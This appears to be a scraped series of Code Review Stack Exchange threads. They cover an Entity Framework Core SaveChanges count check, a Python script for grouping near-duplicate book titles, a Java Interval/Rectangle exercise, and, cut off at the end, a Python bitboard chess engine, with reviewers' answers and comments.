"CreationDate": "2020-09-16T17:34:47.173",
"Id": "489028",
"Score": "0",
"body": "Ahh I see, thank you"
}
],
"meta_data": {
"CommentCount": "6",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T15:03:09.347",
"Id": "249440",
"ParentId": "249438",
"Score": "4"
}
}
] |
{
"AcceptedAnswerId": "249440",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T14:46:59.083",
"Id": "249438",
"Score": "3",
"Tags": [
"python",
"performance",
"algorithm",
"sorting",
"mergesort"
],
"Title": "Mergesort in python"
}
|
249438
|
<p>I am using ASP.NET Core 3.1 and have been assigned a task to verify the count of changes done using <code>SaveChanges()</code>.
It is expected that the <strong>developer should know how many records will be changed before-hand</strong> when <code>SaveChanges()</code> will be called.</p>
<p>To implement it, I have created an extension method for <code>DbContext</code> called <code>SaveChangesAndVerify(int expectedChangeCount)</code> where I am using transaction and equating this parameter with the return value of <code>SaveChanges()</code>.
If the values match, the transaction is committed and if it doesn't match, the transaction is rolled back.</p>
<p>Please check the code below and let me know if it would work and if there are any considerations that I need to make. Also, is there a <strong>better way to do this</strong>?</p>
<pre><code>public static class DbContextExtensions
{
public static int SaveChangesAndVerify(this DbContext context, int expectedChangeCount)
{
context.Database.BeginTransaction();
var actualChangeCount = context.SaveChanges();
if (actualChangeCount == expectedChangeCount)
{
context.Database.CommitTransaction();
return actualChangeCount;
}
else
{
context.Database.RollbackTransaction();
throw new DbUpdateException($"Expected count {expectedChangeCount} did not match actual count {actualChangeCount} while saving the changes.");
}
}
public static async Task<int> SaveChangesAndVerifyAsync(this DbContext context, int expectedChangeCount, CancellationToken cancellationToken = default)
{
await context.Database.BeginTransactionAsync();
var actualChangeCount = await context.SaveChangesAsync();
if(actualChangeCount == expectedChangeCount)
{
context.Database.CommitTransaction();
return actualChangeCount;
}
else
{
context.Database.RollbackTransaction();
throw new DbUpdateException($"Expected count {expectedChangeCount} did not match actual count {actualChangeCount} while saving the changes.");
}
}
}
</code></pre>
<p>A sample usage would be like <code>context.SaveChangesAndVerify(1)</code> where a developer is expecting only 1 record to update.</p>
|
[] |
[
{
"body": "<p>I can't think of another way of doing this - only the database knows how many rows have been affected. That said, your code has some problems.</p>\n<p>You need to dispose of your transaction when you're done with it. This has 2 additional benefits:</p>\n<ol>\n<li>You don't need to rollback manually</li>\n<li>You don't need to worry about exceptions in SaveChanges (you haven't handled that at all at the moment).</li>\n</ol>\n<p>Let's look at how that changes things:</p>\n<pre><code>public static int SaveChangesAndVerify(\n this DbContext context,\n int expectedChangeCount)\n{\n using (var transaction = context.Database.BeginTransaction())\n {\n var actualChangeCount = context.SaveChanges();\n if (actualChangeCount == expectedChangeCount)\n {\n transaction.Commit();\n return actualChangeCount;\n }\n throw new DbUpdateException($"Expected count {expectedChangeCount} did not match actual count {actualChangeCount} while saving the changes.");\n }\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T10:26:41.033",
"Id": "489103",
"Score": "0",
"body": "Thank you for reviewing the code."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T07:33:24.867",
"Id": "249479",
"ParentId": "249439",
"Score": "2"
}
},
{
"body": "<p>No need to do this at all.</p>\n<p>For one, Entity Framework keeps track of expected changes itself, probably better than you can do it.</p>\n<blockquote>\n<p>It is expected that the developer should know how many records will be changed before-hand</p>\n</blockquote>\n<p>How? Only in the utter most simple scenarios they will be able to do that. The power of EF is that you can save entire object graphs. Good luck trying to figure out how many records are going too be affected. Keep in mind that even when entities are modified in your code that doesn't always mean they are actually <em>changed</em> from EF's perspective. Or some changes may not even visible to you (think of many-to-many associations, or foreign keys set to <code>null</code> when associations are severed). In short: this is pointless, and not necessary at all.</p>\n<p>EF knows how many rows are expected to be changed by a <code>SaveChanges()</code> call. If there is a difference it will throw a <code>DbUpdateConcurrencyException</code> exception and roll back the transaction. For example when a record is deleted while it's not present in the database anymore:</p>\n<blockquote>\n<p>DbUpdateConcurrencyException: Database operation expected to affect 1 row(s) but actually affected 0 row(s). Data may have been modified or deleted since entities were loaded. See <a href=\"http://go.microsoft.com/fwlink/?LinkId=527962\" rel=\"nofollow noreferrer\">http://go.microsoft.com/fwlink/?LinkId=527962</a> for information on understanding and handling optimistic concurrency exceptions.</p>\n</blockquote>\n<p>As you see, EF assumes that exceptions like this are caused by concurrency, but you can easily raise one by committing an entity with a non-existing primary key value.</p>\n<p>Which means, secondly, that you don't need to start and commit a transaction yourself. <code>SavaChanges</code> manages its own transaction and won't commit anything if there's an exception.</p>\n<p>As a matter of fact, the line <code>throw new DbUpdateException</code> should never be hit: if there is a difference, <code>SaveChanges()</code> will already have thrown and if the line <em>is</em> reached you probably made a mistake in determining <code>expectedChangeCount</code>.</p>\n<p>The end conclusion is that you can, no <em>should</em>, remove these methods altogether. Simply call <code>SaveChanges(Async)</code> where you need it and handle exceptions as usual.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T20:20:04.223",
"Id": "249513",
"ParentId": "249439",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "249479",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T14:50:08.333",
"Id": "249439",
"Score": "2",
"Tags": [
"c#",
"asp.net-core",
"entity-framework-core"
],
"Title": "Entity Framework Core verify SaveChanges count"
}
|
249439
|
<p>I am using the following script to fuzzy search almost similar book names for duplicate:</p>
<pre><code>import re
from nltk.util import ngrams
OriginalBooksList = list()
booksAfterRemovingStopWords = list()
booksWithNGrams = list()
duplicatesSorted = list()
stopWords = ['I', 'a', 'about', 'an', 'are', 'as', 'at', 'be', 'by', 'com', 'for', 'from', 'how', 'in', 'is', 'it', 'of', 'on', 'or', 'that', 'the', 'this', 'to', 'was', 'the',
'and', 'A', 'About', 'An', 'Are', 'As', 'At', 'Be', 'By', 'Com', 'For', 'From', 'How', 'In', 'Is', 'It', 'Of', 'On', 'Or', 'That', 'The', 'This', 'To', 'Was', 'The', 'And']
with open('UnifiedBookList.txt') as fin:
for line_no, line in enumerate(fin):
OriginalBooksList.append(line)
line = re.sub(r'[^\w\s]', ' ', line) # replace punctuation with space
line = re.sub(' +', ' ', line) # replace multiple space with one
line = line.lower() # to lower case
if line.strip() and len(line.split()) > 2: # line can not be empty and line must have more than 2 words
booksAfterRemovingStopWords.append(' '.join([i for i in line.split(
) if i not in stopWords])) # Remove Stop Words And Make Sentence
for line_no, line in enumerate(booksAfterRemovingStopWords):
tokens = line.split(" ")
output = list(ngrams(tokens, 3))
temp = list()
temp.append(OriginalBooksList[line_no]) # Adding original line
for x in output: # Adding n-grams
temp.append(' '.join(x))
booksWithNGrams.append(temp)
while booksWithNGrams:
first_element = booksWithNGrams.pop(0)
x = 0
for mylist in booksWithNGrams:
if set(first_element) & set(mylist):
if x == 0:
duplicatesSorted.append(first_element[0])
x = 1
duplicatesSorted.append(mylist[0])
booksWithNGrams.remove(mylist)
x = 0
with open('DuplicatesSorted.txt', 'w') as f:
for item in duplicatesSorted:
f.write("%s\n" % item)
</code></pre>
<p>The input is:</p>
<pre><code>A Course of Pure Mathematics by G. H. Hardy
Agile Software Development, Principles, Patterns, and Practices by Robert C. Martin
Advanced Programming in the UNIX Environment, 3rd Edition
Advanced Selling Strategies: Brian Tracy
Advanced Programming in the UNIX(R) Environment
Alex's Adventures in Numberland: Dispatches from the Wonderful World of Mathematics by Alex Bellos, Andy Riley
Advertising Secrets of the Written Word: The Ultimate Resource on How to Write Powerful Advertising
Agile Software Development, Principles, Patterns, and Practices
A Course of Pure Mathematics (Cambridge Mathematical Library) 10th Edition by G. H. Hardy
Alex’s Adventures in Numberland
Advertising Secrets of the Written Word
Alex's Adventures in Numberland Paperback by Alex Bellos
</code></pre>
<p>The output is:</p>
<pre><code>A Course of Pure Mathematics by G. H. Hardy
A Course of Pure Mathematics (Cambridge Mathematical Library) 10th Edition by G. H. Hardy
Agile Software Development, Principles, Patterns, and Practices by Robert C. Martin
Agile Software Development, Principles, Patterns, and Practices
Advanced Programming in the UNIX Environment, 3rd Edition
Advanced Programming in the UNIX(R) Environment
Alex's Adventures in Numberland: Dispatches from the Wonderful World of Mathematics by Alex Bellos, Andy Riley
Alex’s Adventures in Numberland
Alex's Adventures in Numberland Paperback by Alex Bellos
Advertising Secrets of the Written Word: The Ultimate Resource on How to Write Powerful Advertising
Advertising Secrets of the Written Word
</code></pre>
<p>By looking at the script, it seems to me that I have over complicated things. Please give some suggestion on how I can make this code better.</p>
|
[] |
[
{
"body": "<p>Ok, I tried to rearrange it a bit:</p>\n<ol>\n<li>Corrected stop words (Should only contain lowercase words)</li>\n<li>Used Jaccard method to calculate distances</li>\n<li>Rearranged code structure</li>\n<li>Rewrote it in Python3 with type annotations</li>\n</ol>\n<p>You should now add an argument parser and that's basically it.</p>\n<p>As far as I understood the task, the final goal was to remove same books.</p>\n<p>Now you can play with a <code>threshold</code> argument to find out what strings should be treated the same.</p>\n<pre><code>import re\nfrom typing import List, Callable, Set\n\nfrom nltk.metrics.distance import jaccard_distance\nfrom nltk.util import ngrams\n\n\ndef canonize(data: str) -> str:\n data = re.sub(r'[^\\w\\s]', ' ', data) # replace punctuation with space\n data = re.sub(' +', ' ', data) # replace multiple space with one\n return data.lower().strip()\n\n\ndef jaccard(book_a: str, book_b: str, n: int = 3) -> float:\n return 1 - jaccard_distance(set(ngrams(book_a, n)), set(ngrams(book_b, n)))\n\n\ndef filter_books(books: List[str],\n book_filter_fun: Callable,\n cmp_filter_func: Callable,\n threshold: float = 0.3) -> Set[int]:\n excluded_indices = set()\n for one_book_offset, one_book in enumerate(books):\n if book_filter_fun(one_book):\n excluded_indices.add(one_book_offset)\n for another_book_offset, another_book in enumerate(books[one_book_offset + 1:], start=one_book_offset + 1):\n if {one_book_offset, another_book_offset} & excluded_indices:\n continue\n if cmp_filter_func(one_book, another_book) > threshold:\n excluded_indices.add(one_book_offset)\n return excluded_indices\n\n\nif __name__ == '__main__':\n stopWords = {'i', 'a', 'about', 'an', 'are', 'as', 'at', 'be', 'by', 'com', 'for', 'from', 'how', 'in', 'is', 'it',\n 'of', 'on', 'or', 'that', 'the', 'this', 'to', 'was', 'the'}\n\n with open('UnifiedBookList.txt') as fin:\n original_books = fin.readlines()\n\n canonized_books = list(map(canonize, original_books))\n\n excluded_indices = filter_books(\n canonized_books,\n lambda book: len(book.split()) < 2, # book name should contain not less than 2 words\n jaccard,\n )\n\n with open('DuplicatesSorted.txt', 'w') as fout:\n for i, book in enumerate(original_books):\n if i in excluded_indices:\n continue\n fout.write(book)\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T19:30:27.457",
"Id": "489042",
"Score": "0",
"body": "Don't know if it got any easier XD"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T21:25:35.903",
"Id": "489055",
"Score": "0",
"body": "far better than what I have done."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T19:28:14.843",
"Id": "249452",
"ParentId": "249441",
"Score": "2"
}
},
{
"body": "<p>From the code, it looks like the criteria for saying the books match is that they have at least one matching n-gram. Given that, the code can be simplified quite a bit.</p>\n<p>Basically, build a data structure as the book data is read in line-by-line. Each entry has the book name and the set of n-grams.</p>\n<p>Then look for intersecting n-grams. Keep track of items that are already matched up, so they aren't processed again.</p>\n<pre><code>NAME = 0\nNGRAM = 1\nNGRAMSIZE = 3\n\nbook_data = []\n\nwith io.StringIO('\\n'.join(data)) as fin:\n for line in fin:\n line = line.strip()\n words = re.findall(r'\\w+', line.lower())\n good_words = tuple(w for w in words if w not in stopwords)\n n_grams = set(ngrams(good_words, NGRAMSIZE))\n \n book_data.append((line, n_grams))\n\nused_indices = set()\ngrouped_books = []\n\nfor index, (_, book_ngrams) in enumerate(book_data):\n if index in used_indices:\n continue\n\n grouped_books.append(index)\n used_indices.add(index)\n \n for other_index, (_, other_ngrams) in enumerate(book_data[index + 1:], index + 1):\n if book_ngrams & other_ngrams:\n grouped_books.append(other_index)\n used_indices.add(other_index)\n \nfor index in grouped_books:\n print(f"{index:2} {book_data[index][NAME]}")\n</code></pre>\n<p>You could also consider using <code>difflib</code> from the standard library. Here's some code to show how it might be used.</p>\n<p>def isjunk(word):\nreturn word.lower() not in stopwords</p>\n<pre><code>matcher = dl.SequenceMatcher(isjunk=isjunk)\n\nwith open('datafile.txt') as f:\n books = [line.lower()) for line in f] \n\ntitles = [re.findall(r'\\w+', book) for book in books]\n\nfor i, seq2 in enumerate(titles):\n \n print('\\n', i, books[i], '\\n')\n \n matcher.set_seq2(seq2)\n \n for j, seq1 in enumerate(titles[i+1:], i+1):\n matcher.set_seq1(seq1)\n \n score = matcher.ratio()\n if score > 0.4:\n print(f" {j:2} {score:4.2f} {books[j]}")\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T13:01:53.540",
"Id": "489123",
"Score": "0",
"body": "Thank you very much for simplifying the script."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T04:10:50.820",
"Id": "249472",
"ParentId": "249441",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "249452",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T15:51:40.690",
"Id": "249441",
"Score": "2",
"Tags": [
"python",
"python-3.x"
],
"Title": "group almost duplicate strings"
}
|
249441
|
<p>This is exercise 3.2.8. from the book <em>Computer Science An Interdisciplinary Approach</em> by Sedgewick & Wayne:</p>
<blockquote>
<p>Write a data type <code>Interval</code> that implements the following API:</p>
<p><a href="https://i.stack.imgur.com/QsVty.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/QsVty.png" alt="enter image description here" /></a></p>
<p>An interval is defined to be the set of all points on the line greater
than or equal to min and less than or equal to max.</p>
</blockquote>
<p>This is exercise 3.2.10. from the book <em>Computer Science An Interdisciplinary Approach</em> by Sedgewick & Wayne:</p>
<blockquote>
<p>Develop an implementation of your <a href="https://codereview.stackexchange.com/questions/249393/data-type-implementation-for-axis-aligned-rectangles">Rectangle API from exercise 3.2.1</a>
that takes advantage of the Interval data type to simplify and clarify
the code.</p>
</blockquote>
<p>And so this post is kind of a follow-up to <a href="https://codereview.stackexchange.com/questions/249393/data-type-implementation-for-axis-aligned-rectangles">my previous post</a>.</p>
<p>Here are my programs:</p>
<pre><code>public class Interval {
private final double min;
private final double max;
public Interval(double min, double max) {
this.min = min;
this.max = max;
}
public double getMin() {
return min;
}
public double getMax() {
return max;
}
public boolean contains(double x) {
if (x == min) return true;
else if (x == max) return true;
else if (x > min && x < max) return true;
else return false;
}
public boolean intersects(Interval otherInterval) {
double otherMin = otherInterval.getMin();
double otherMax = otherInterval.getMax();
if (otherMin > min && otherMin < max) return true;
else if (otherMax > min && otherMax < max) return true;
else if (min > otherMin && min < otherMax) return true;
else if (max > otherMin && max < otherMax) return true;
else if (otherMin == max) return true;
else if (otherMax == min) return true;
else return false;
}
public String toString() {
return "[" + min + "," + max + "]";
}
public static void main(String[] args) {
double min1 = Double.parseDouble(args[0]);
double max1 = Double.parseDouble(args[1]);
double min2 = Double.parseDouble(args[2]);
double max2 = Double.parseDouble(args[3]);
Interval interval1 = new Interval(min1, max1);
Interval interval2 = new Interval(min2, max2);
System.out.println(interval1.toString());
System.out.println(interval2.toString());
System.out.println(interval1.intersects(interval2));
}
}
</code></pre>
<hr />
<pre><code>public class Rectangle {
private final double x;
private final double y;
private final double width;
private final double height;
public Rectangle(double x, double y, double width, double height) {
this.x = x;
this.y = y;
this.width = width;
this.height = height;
}
public double getLeft() {
return x - width / 2;
}
public double getRight() {
return x + width / 2;
}
public double getBottom() {
return y - height / 2;
}
public double getTop() {
return y + height / 2;
}
public double calculateArea() {
return width * height;
}
public double calculatePerimeter() {
return 2 * width + 2 * height;
}
public boolean contains(Rectangle otherRectangle) {
if (getLeft() <= otherRectangle.getLeft() &&
getRight() >= otherRectangle.getRight() &&
getBottom() <= otherRectangle.getBottom() &&
getTop() >= otherRectangle.getTop()) {
return true;
} else return false;
}
public boolean intersects(Rectangle otherRectangle) {
Interval leftToRight = new Interval(getLeft(), getRight());
Interval bottomToTop = new Interval(getBottom(), getTop());
Interval otherLeftToRight = new Interval(otherRectangle.getLeft(), otherRectangle.getRight());
Interval otherBottomToTop = new Interval(otherRectangle.getBottom(), otherRectangle.getTop());
if (leftToRight.intersects(otherLeftToRight) && bottomToTop.intersects(otherBottomToTop)) return true;
else if (contains(otherRectangle)) return true;
else return false;
}
public void draw() {
StdDraw.rectangle(x, y, width / 2, height / 2);
}
public static double randomize(double a, double b) {
return a + Math.random() * (b - a);
}
public static void main(String[] args) {
int n = Integer.parseInt(args[0]);
double min = Double.parseDouble(args[1]);
double max = Double.parseDouble(args[2]);
Rectangle[] rectangles = new Rectangle[n];
for (int i = 0; i < n; i++) {
rectangles[i] = new Rectangle(randomize(0.2, 0.8),
randomize(0.2, 0.8),
randomize(min, max),
randomize(min, max));
}
for (int i = 0; i < n; i++) {
rectangles[i].draw();
}
double averageArea = 0;
double averagePerimeter = 0;
for (int i = 0; i < n; i++) {
averageArea += rectangles[i].calculateArea();
averagePerimeter += rectangles[i].calculatePerimeter();
}
System.out.println("Average area = " + averageArea);
System.out.println("Average perimeter = " + averagePerimeter);
int[] intersections = new int[n];
int sumOfIntersections = 0;
for (int i = 0; i < n; i++) {
intersections[i]--;
for (int j = 0; j < n; j++) {
if (rectangles[i].intersects(rectangles[j])) {
intersections[i]++;
}
}
sumOfIntersections += intersections[i];
}
System.out.println("Average intersections = " + ((int) sumOfIntersections / n));
}
}
</code></pre>
<p>And the above <code>Rectangle</code> class is an improved version of the previous one. <a href="https://introcs.cs.princeton.edu/java/stdlib/javadoc/StdDraw.html" rel="nofollow noreferrer">StdDraw</a> is a simple API written by the authors of the book. I checked my program and it works.</p>
<p>Is there any way that I can improve my programs?</p>
<p>Thanks for your attention.</p>
|
[] |
[
{
"body": "<ul>\n<li><p>The assignment does not mention <code>getMin()</code> and <code>getMax()</code> interfaces. I'd rather would not implement them at all; in any case they shall not be public.</p>\n</li>\n<li><p>There is no need to special case <code>x == min</code> and <code>x == max</code> in <code>Interval.contains</code>. A single line</p>\n<pre><code> return x >= min && x <= max;\n</code></pre>\n<p>does the job.</p>\n</li>\n<li><p><code>Interval.intersects</code> logic is very complicated (and suffers the same special-casing problem). It can be greatly simplified into another single line:</p>\n<pre><code> return max >= other.min && min <= other.max;\n</code></pre>\n</li>\n<li><p>I don't see how <code>Rectangle</code> takes advantage of <code>Interval</code>.</p>\n</li>\n</ul>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T19:44:06.143",
"Id": "489045",
"Score": "1",
"body": "@Emma No I didn't ( -_* ). I just didn't review the second portion at all - it doesn't comply with the assignment requirements."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T20:45:14.187",
"Id": "489047",
"Score": "0",
"body": "Thank you very much. Interval simplifies the intersects method within Rectangle (the one I wrote previously without using interval was too complicated)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T20:50:28.830",
"Id": "489049",
"Score": "0",
"body": "@KhashayarBaghizadeh It does not. The assignment calls for `class Rectangle { private final Interval horizontal; private final Interval vertical; .... }` and using the `Interval` methods directly under the hood."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T21:00:57.523",
"Id": "489051",
"Score": "0",
"body": "Oh! I get it now. I cannot thank you enough for elucidating this."
}
],
"meta_data": {
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T19:37:32.030",
"Id": "249453",
"ParentId": "249442",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "249453",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T15:55:54.823",
"Id": "249442",
"Score": "1",
"Tags": [
"java",
"beginner",
"object-oriented"
],
"Title": "Simplifying data-type implementation for axis-aligned rectangles using data-type implementation for closed intervals"
}
|
249442
|
<p>I have programmed a chess AI in python as a first project to learn both Python and the inner workings of a chess engine and wanted to have some input on syntax, code efficiency and any tips in general on improving it before moving on with the project. My goal is to train a neural-network and use as a evaluation function down the line.</p>
<p>As of now it searches to a depth of 5 in seconds and to a depth 6 within a minute. Without evaluating the position it searches roughly 150 000 nodes/sec on my end.</p>
<p>What I have implemented so far:</p>
<ul>
<li>Bitboard representation of the state of the game.</li>
<li>Precalculated look up tables for sliding piece attacks (rook, queen, bishop).</li>
<li>Simple evaluation function as described here: <a href="https://www.chessprogramming.org/Simplified_Evaluation_Function" rel="nofollow noreferrer">https://www.chessprogramming.org/Simplified_Evaluation_Function</a></li>
<li>minmax search with alpha-beta pruning and a simple sort of moves to cause more cut-offs.</li>
</ul>
<p>What I will implement in the future:</p>
<ul>
<li>Iterative deepening</li>
<li>Transposition tables</li>
<li>Killer move heuristics</li>
</ul>
<pre><code># -*- coding: utf-8 -*-
"""
Created on Mon Aug 24 10:35:01 2020
@author: Grim Kalman
"""
"""
Open pre-calculated masks to avoid unnecessary calculations and facilitate
table lookup instead of on the spot calculations for speed. The attack masks
was calculated using the o-2s trick and the idea to store the masks in
dictionaries within a dictionary was taken from:
"Avoiding rotated bitboards with direct lookup" (S. Tannous, 2007).
"""
with open("file_mask_table.txt", "r") as file:
fmt = eval(file.read())
file.close()
with open("rank_mask_table.txt", "r") as file:
rmt = eval(file.read())
file.close()
with open("diagonal_mask_table.txt", "r") as file:
dmt = eval(file.read())
file.close()
with open("anti_diagonal_mask_table.txt", "r") as file:
admt = eval(file.read())
file.close()
with open("bitboard_to_pos.txt", "r") as file:
bitboard_to_pos = eval(file.read())
file.close()
with open("file_attacks.txt", "r") as file:
fa = eval(file.read())
file.close()
with open("rank_attacks.txt", "r") as file:
ra = eval(file.read())
file.close()
with open("diagonal_attacks.txt", "r") as file:
da = eval(file.read())
file.close()
with open("anti_diagonal_attacks.txt", "r") as file:
ada = eval(file.read())
file.close()
with open("king_attacks.txt", "r") as file:
king_attacks = eval(file.read())
file.close()
with open("knight_attacks.txt", "r") as file:
knight_attacks = eval(file.read())
file.close()
with open("white_pawn_attacks.txt", "r") as file:
white_pawn_attacks = eval(file.read())
file.close()
with open("black_pawn_attacks.txt", "r") as file:
black_pawn_attacks = eval(file.read())
file.close()
with open("piece_value_table.txt", "r") as file:
pst = eval(file.read())
file.close()
pieces = ["P", "R", "N", "B", "Q", "K", "p", "r", "n", "b", "q", "k"]
rows = ["1", "2", "3", "4", "5", "6", "7", "8"]
cols = ["a", "b", "c", "d", "e", "f", "g", "h"]
class Game_State:
"""Class that represents the state of the chessboard."""
def __init__(self):
self.white_to_move = True
self.bitboards = [0xFF00, # 0 : white pawns
0x81, # 1 : white rooks
0x42, # 2 : white knights
0x24, # 3 : white bishops
0x10, # 4 : white queen
0x8, # 5 : white king
0xFF000000000000, # 6 : black pawns
0x8100000000000000, # 7 : black rooks
0x4200000000000000, # 8 : black knights
0x2400000000000000, # 9 : black bishops
0x1000000000000000, # 10 : black queen
0x800000000000000, # 11 : black king
0x000000000000FFFF, # 12 : white pieces
0xFFFF000000000000, # 13 : black pieces
0xFFFF00000000FFFF, # 14 : all pieces
0, # 15 : en passant
0x8900000000000089 # 16 : castle rights
]
self.score = 0
self.tp = {}
self.history = []
def load_FEN(self, string):
"""Load a position from a FEN-string."""
self.bitboards = [0 for bitboards in self.bitboards]
fen = string.split(" ")
pos = fen[0].split("/")
for row, rank in enumerate(pos):
char = list(rank)
col = 0
for item in char:
if item.isnumeric():
col += int(item)
else:
self.bitboards[pieces.index(item)] += (2**(8*(7 - row) +
(7 - col)))
col += 1
self.bitboards[12] = (self.bitboards[0] | self.bitboards[1] |
self.bitboards[2] | self.bitboards[3] |
self.bitboards[4] | self.bitboards[5])
self.bitboards[13] = (self.bitboards[6] | self.bitboards[7] |
self.bitboards[8] | self.bitboards[9] |
self.bitboards[10] | self.bitboards[11])
self.bitboards[14] = self.bitboards[12] | self.bitboards[13]
self.bitboards[16] |= 0x9 if "K" in list(fen[2]) else 0
self.bitboards[16] |= 0x88 if "Q" in list(fen[2]) else 0
self.bitboards[16] |= 0x900000000000000 if "k" in list(fen[2]) else 0
self.bitboards[16] |= 0x8800000000000000 if "q" in list(fen[2]) else 0
if fen[1] == "w":
self.white_to_move = True
if fen[3] == '-':
self.bitboards[15] = 0
else:
self.bitboards[15] = (2**(8*(rows.index(list(fen[3])[1]) - 1) +
(7 - cols.index(list(fen[3])[0]))))
else:
self.white_to_move = False
if fen[3] == '-':
self.bitboards[15] = 0
else:
self.bitboards[15] = (2**(8*(rows.index(list(fen[3])[1]) + 1) +
(7 - cols.index(list(fen[3])[0]))))
def print_board(self):
"""Print a ASCII representation of the board in the console."""
chessBoard = ["." for i in range(64)]
for i in range(12):
board = "{:064b}".format(self.bitboards[i])
for y in range(8):
for x in range(8):
if board[8 * y + x] == "1":
chessBoard[8 * y + x] = pieces[i]
for i in range(8):
print(str(8 - i), " ".join(chessBoard[8*i:8*(i + 1)]))
print(" a b c d e f g h")
def generate_moves(self):
"""Generate all pseudo-legal moves."""
if self.white_to_move:
return (king_moves(self, self.bitboards[14], self.bitboards[16],
self.bitboards[12], self.bitboards[5]) +
queen_moves(self.bitboards[14], self.bitboards[12],
self.bitboards[4]) +
rook_moves(self.bitboards[14], self.bitboards[12],
self.bitboards[1]) +
bishop_moves(self.bitboards[14], self.bitboards[12],
self.bitboards[3]) +
knight_moves(self.bitboards[12], self.bitboards[2]) +
white_pawn_moves(self.bitboards[15], self.bitboards[13],
self.bitboards[14], self.bitboards[0]))
else:
return (king_moves(self, self.bitboards[14], self.bitboards[16],
self.bitboards[13], self.bitboards[11]) +
queen_moves(self.bitboards[14], self.bitboards[13],
self.bitboards[10]) +
rook_moves(self.bitboards[14], self.bitboards[13],
self.bitboards[7]) +
bishop_moves(self.bitboards[14], self.bitboards[13],
self.bitboards[9]) +
knight_moves(self.bitboards[13], self.bitboards[8]) +
black_pawn_moves(self.bitboards[15], self.bitboards[12],
self.bitboards[14], self.bitboards[6]))
def move(self, move):
"""Update the game state given a move.
:param move: string representing a move, eg. 'e2e4'.
"""
self.tp.clear()
from_col, from_row, to_col, to_row = list(move)
from_sq = 2**((7 - cols.index(from_col)) + 8*rows.index(from_row))
to_sq = 2**((7 - cols.index(to_col)) + 8*rows.index(to_row))
if self.white_to_move:
for i in range(6):
if from_sq & self.bitboards[i] != 0:
piece = i
break
else:
for i in range(6, 12):
if from_sq & self.bitboards[i] != 0:
piece = i - 6
break
self.make_move((from_sq, to_sq, piece))
self.print_board()
self.make_move(self.alpha_beta(6, -float('Inf'), float('Inf'))[1])
print()
self.print_board()
def make_move(self, move):
"""Update the game state given a move.
:param move: (from, to, piece) tuple. Eg. a pawn move from e2 to e4
would be written as: (2048, 134217728, 0).
"""
self.history.append((self.white_to_move, self.bitboards[:],
self.score))
move_from, move_to, piece = move
if self.white_to_move:
self.bitboards[piece] += move_to - move_from
self.bitboards[12] += move_to - move_from
self.score += (pst.get(piece).get(move_to) -
pst.get(piece).get(move_from))
if (self.bitboards[13] & move_to):
for i in range(6, 12):
if (self.bitboards[i] & move_to):
self.bitboards[i] -= move_to
self.bitboards[13] -= move_to
self.bitboards[15] = 0
self.score += pst.get(i).get(move_to)
break
if piece == 0:
if (move_from << 16) == move_to:
self.bitboards[15] = move_to
elif move_to == self.bitboards[15]:
self.bitboards[6] -= move_to >> 8
self.bitboards[13] -= move_to >> 8
self.bitboards[15] = 0
elif move_to & 0xff00000000000000 != 0:
self.bitboards[0] -= move_to
self.bitboards[4] += move_to
else:
self.bitboards[15] = 0
elif piece == 5:
if move_from >> 2 == move_to:
self.bitboards[1] += (move_from >> 1) - (move_to >> 1)
self.bitboards[12] += (move_from >> 1) - (move_to >> 1)
elif move_from << 2 == move_to:
self.bitboards[1] += (move_from << 1) - (move_to << 2)
self.bitboards[12] += (move_from << 1) - (move_to << 2)
else:
self.bitboards[15] = 0
else:
self.bitboards[15] = 0
self.white_to_move = False
else:
self.bitboards[piece + 6] += move_to - move_from
self.bitboards[13] += move_to - move_from
self.score -= (pst.get(piece + 6).get(move_to) -
pst.get(piece + 6).get(move_from))
if (self.bitboards[12] & move_to):
for i in range(6):
if (self.bitboards[i] & move_to):
self.bitboards[i] -= move_to
self.bitboards[12] -= move_to
self.bitboards[15] = 0
self.score -= pst.get(i).get(move_to)
break
if piece == 0:
if (move_from >> 16) == move_to:
self.bitboards[15] = move_to
elif move_to == self.bitboards[15]:
self.bitboards[0] -= move_to << 8
self.bitboards[12] -= move_to << 8
self.bitboards[15] = 0
elif move_to & 0xff != 0:
self.bitboards[6] -= move_to
self.bitboards[10] += move_to
else:
self.bitboards[15] = 0
elif piece == 5:
if move_from >> 2 == move_to:
self.bitboards[7] += (move_from >> 1) - (move_to >> 1)
self.bitboards[13] += (move_from >> 1) - (move_to >> 1)
elif move_from << 2 == move_to:
self.bitboards[7] += (move_from << 1) - (move_to << 2)
self.bitboards[13] += (move_from >> 1) - (move_to >> 1)
else:
self.bitboards[15] = 0
else:
self.bitboards[15] = 0
self.white_to_move = True
self.bitboards[14] = self.bitboards[12] | self.bitboards[13]
self.bitboards[16] = ((move_from & self.bitboards[16]) ^
self.bitboards[16])
